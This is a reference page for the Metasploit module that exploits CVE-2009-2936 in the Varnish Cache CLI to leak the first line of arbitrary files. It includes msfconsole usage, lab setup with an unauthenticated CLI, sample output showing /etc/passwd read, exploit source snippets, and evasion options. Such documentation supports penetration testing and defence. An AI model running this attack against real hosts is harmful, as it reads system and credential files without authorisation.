Varnish Cache CLI File Read - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/varnish/varnish_cli_file_read metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Varnish Cache CLI File Read
Module: auxiliary/scanner/varnish/varnish_cli_file_read
Source code: modules/auxiliary/scanner/varnish/varnish_cli_file_read.rb
Disclosure date: -
Last modification time: 2019-08-15 18:10:44 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 6082
List of CVEs: CVE-2009-2936
This module attempts to read the first line of a file by abusing the error message when compiling a file with vcl.load.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/varnish/varnish_cli_file_read
msf auxiliary(varnish_cli_file_read) > show options
... show and set options ...
msf auxiliary(varnish_cli_file_read) > set RHOSTS ip-range
msf auxiliary(varnish_cli_file_read) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(varnish_cli_file_read) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(varnish_cli_file_read) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(varnish_cli_file_read) > set RHOSTS file:/tmp/ip_list.txt
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT: The target port
Knowledge Base
Vulnerable Application
Ubuntu 14.04 can apt-get install varnish
. At the time of writing that installed varnish-3.0.5 revision 1a89b1f.
Kali installed varnish-5.0.0 revision 99d036f
Varnish installed and ran the cli on localhost. First lets kill the service: sudo service varnish stop
. Now, there are two configurations we want to test:
- No Authentication:
varnishd -T 0.0.0.0:6082
- Authentication (based on shared secret file):
varnishd -T 0.0.0.0:6082 -S <file>
.- I made an easy test one
echo "secret" > ~/secret
- I made an easy test one
Verification Steps
Example steps in this format:
- Install the application
- Start msfconsole
- Do:
use auxiliary/scanner/varnish/varnish_cli_file_read
- Do:
set password <password>
- Do:
run
- Get the first line of a file
Options
PASSWORD
String to use as the password. May be bruteforced via modules/auxiliary/scanner/varnish/varnish_cli_login
FILE
File to attempt to read the first line of
Scenarios
Running against Ubuntu 14.04 with varnish-3.0.5 revision 1a89b1f and NO AUTHENTICATION
resource (varnish_read.rc)> use auxiliary/scanner/varnish/varnish_cli_file_read
resource (varnish_read.rc)> set password secret
password => secret
resource (varnish_read.rc)> set rhosts 192.168.2.85
rhosts => 192.168.2.85
resource (varnish_read.rc)> set verbose true
verbose => true
resource (varnish_read.rc)> run
[+] 192.168.2.85:6082 - 192.168.2.85:6082 - LOGIN SUCCESSFUL: No Authentication Required
[+] 192.168.2.85:6082 - root:x:0:0:root:/root:/bin/bash
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Running against Ubuntu 14.04 with varnish-3.0.5 revision 1a89b1f
msf auxiliary(varnish_cli_file_read) > run
[+] 192.168.2.85:6082 - root:x:0:0:root:/root:/bin/bash
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Go back to menu.
Msfconsole Usage
Here is how the scanner/varnish/varnish_cli_file_read auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/varnish/varnish_cli_file_read
msf6 auxiliary(scanner/varnish/varnish_cli_file_read) > show info
Name: Varnish Cache CLI File Read
Module: auxiliary/scanner/varnish/varnish_cli_file_read
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
patrick
h00die <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILE /etc/passwd no File to read the first line of
PASSWORD no Password for CLI. No auth will be automatically detected
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 6082 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
Description:
This module attempts to read the first line of a file by abusing the
error message when compiling a file with vcl.load.
References:
OSVDB (67670)
https://nvd.nist.gov/vuln/detail/CVE-2009-2936
https://www.exploit-db.com/exploits/35581
https://www.varnish-cache.org/trac/wiki/CLI
Module Options
This is a complete list of options available in the scanner/varnish/varnish_cli_file_read auxiliary module:
msf6 auxiliary(scanner/varnish/varnish_cli_file_read) > show options
Module options (auxiliary/scanner/varnish/varnish_cli_file_read):
Name Current Setting Required Description
---- --------------- -------- -----------
FILE /etc/passwd no File to read the first line of
PASSWORD no Password for CLI. No auth will be automatically detected
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 6082 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
Advanced Options
Here is a complete list of advanced options supported by the scanner/varnish/varnish_cli_file_read auxiliary module:
msf6 auxiliary(scanner/varnish/varnish_cli_file_read) > show advanced
Module advanced options (auxiliary/scanner/varnish/varnish_cli_file_read):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/varnish/varnish_cli_file_read module can do:
msf6 auxiliary(scanner/varnish/varnish_cli_file_read) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/varnish/varnish_cli_file_read auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/varnish/varnish_cli_file_read) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Description
Here is a relevant code snippet related to the "Description" error message:
13: include Metasploit::Framework::Varnish::Client
14:
15: def initialize
16: super(
17: 'Name' => 'Varnish Cache CLI File Read',
18: 'Description' => 'This module attempts to read the first line of a file by abusing the error message when
19: compiling a file with vcl.load.',
20: 'References' =>
21: [
22: [ 'OSVDB', '67670' ],
23: [ 'CVE', '2009-2936' ],
<IP>:<RPORT> - Unable to Login
Here is a relevant code snippet related to the "<IP>:<RPORT> - Unable to Login" error message:
52: connect
53: if !challenge
54: print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: No Authentication Required"
55: else
56: if not login(datastore['PASSWORD'])
57: vprint_error "#{ip}:#{rport} - Unable to Login"
58: return
59: end
60: end
61: # abuse vcl.load to load a varnish config file and save it to a random variable. This will fail to give us the first line in debug message
62: sock.get_once
Cannot open '/etc/shadow'
Here is a relevant code snippet related to the "Cannot open '/etc/shadow'" error message:
63: sock.puts("vcl.load #{Rex::Text.rand_text_alphanumeric(3)} #{datastore['FILE']}")
64: result = sock.get_once
65: if result && result =~ /Line \d Pos \d+\)\n(.*)/
66: vprint_good($1)
67: else
68: vprint_error(result) # will say something like "Cannot open '/etc/shadow'"
69: end
70: close_session
71: disconnect
72: rescue Rex::ConnectionError, EOFError, Timeout::Error
73: print_error "#{ip}:#{rport} - Unable to connect"
<IP>:<RPORT> - Unable to connect
Here is a relevant code snippet related to the "<IP>:<RPORT> - Unable to connect" error message:
66: vprint_good($1)
67: else
68: vprint_error(result) # will say something like "Cannot open '/etc/shadow'"
69: end
70: close_session
71: disconnect
72: rescue Rex::ConnectionError, EOFError, Timeout::Error
73: print_error "#{ip}:#{rport} - Unable to connect"
74: end
75: end
76: end
Go back to menu.
Related Pull Requests
- #12205 Merged Pull Request: Update module and generate splats from http:// to https://
- #7654 Merged Pull Request: varnish file read
References
See Also
Check also the following modules related to this module:
- auxiliary/scanner/varnish/varnish_cli_login
- auxiliary/admin/http/nexpose_xxe_file_read
- auxiliary/gather/rails_doubletap_file_read
- auxiliary/scanner/http/accellion_fta_statecode_file_read
- auxiliary/scanner/http/cassandra_web_file_read
- auxiliary/scanner/http/riverbed_steelhead_vcx_file_read
- auxiliary/scanner/http/wp_dukapress_file_read
- auxiliary/scanner/http/wp_duplicator_file_read
- auxiliary/scanner/http/wp_gimedia_library_file_read
- auxiliary/scanner/http/wp_mobileedition_file_read
- auxiliary/scanner/http/wp_nextgen_galley_file_read
- auxiliary/scanner/http/wp_simple_backup_file_read
- auxiliary/scanner/http/wp_subscribe_comments_file_read
- auxiliary/scanner/http/cisco_asa_clientless_vpn
- auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec
- auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec
- auxiliary/scanner/scada/modbusclient
- auxiliary/scanner/scada/pcomclient
- auxiliary/scanner/http/rfcode_reader_enum
- auxiliary/scanner/ntp/ntp_readvar
- auxiliary/scanner/printer/printer_ready_message
- auxiliary/scanner/sap/sap_soap_rfc_read_table
- auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir
- auxiliary/admin/atg/atg_client
- auxiliary/admin/scada/yokogawa_bkbcopyd_client
- auxiliary/client/hwbridge/connect
- auxiliary/client/iec104/iec104
- auxiliary/client/mms/send_mms
- auxiliary/client/sms/send_text
- auxiliary/client/smtp/emailer
- auxiliary/client/telegram/send_message
- auxiliary/dos/dhcp/isc_dhcpd_clientid
- auxiliary/fuzzers/ftp/client_ftp
- auxiliary/server/dhclient_bash_env
- auxiliary/server/openssl_heartbeat_client_memory
Authors
- patrick
- h00die <[email protected]>
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.